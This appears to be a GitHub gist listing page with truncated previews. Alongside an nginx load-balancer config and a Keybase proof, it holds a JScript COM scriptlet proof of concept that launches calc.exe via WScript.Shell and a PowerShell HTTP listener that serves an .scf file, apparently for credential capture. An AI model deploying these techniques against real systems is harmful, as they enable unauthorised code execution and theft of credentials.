Skip to content

Instantly share code, notes, and snippets.

@caesartcs
caesartcs / nginx.conf
Created April 16, 2022 20:55
Load Balancing for root and different paths
#credit to Subhra Paladhi
# This is for layer 7 (application layer) load balancer
http{
# A http request is sent on port 80. A TCP connection is established between
# the client(the one who sent the request) and loadbalancer on port 80 over http.
# The load balancer further establishes TCP connections with one of the server
# depending on the algorithm it is using and forwards the request from the
# client to it. The server communicats with nginx.Hense nginx acts as a

Keybase proof

I hereby claim:

  • I am caesartcs on github.
  • I am caesartcs (https://keybase.io/caesartcs) on keybase.
  • I have a public key ASBleNrpdZOC81E0oE-nmajEtqpe5M6P0J_ydOU_ys_8DAo

To claim this, I am signing this object:

@caesartcs
caesartcs / own.ed
Last active September 7, 2017 17:58
<?XML version="1.0"?>
<scriptlet>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8000/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
#$Buf = [Text.Encoding]::UTF8.GetBytes((GC (Join-Path $Pwd ($HC.Request).RawUrl)))
$File = s.scf
$Buf = [Text.Encoding]::UTF8.GetBytes($File)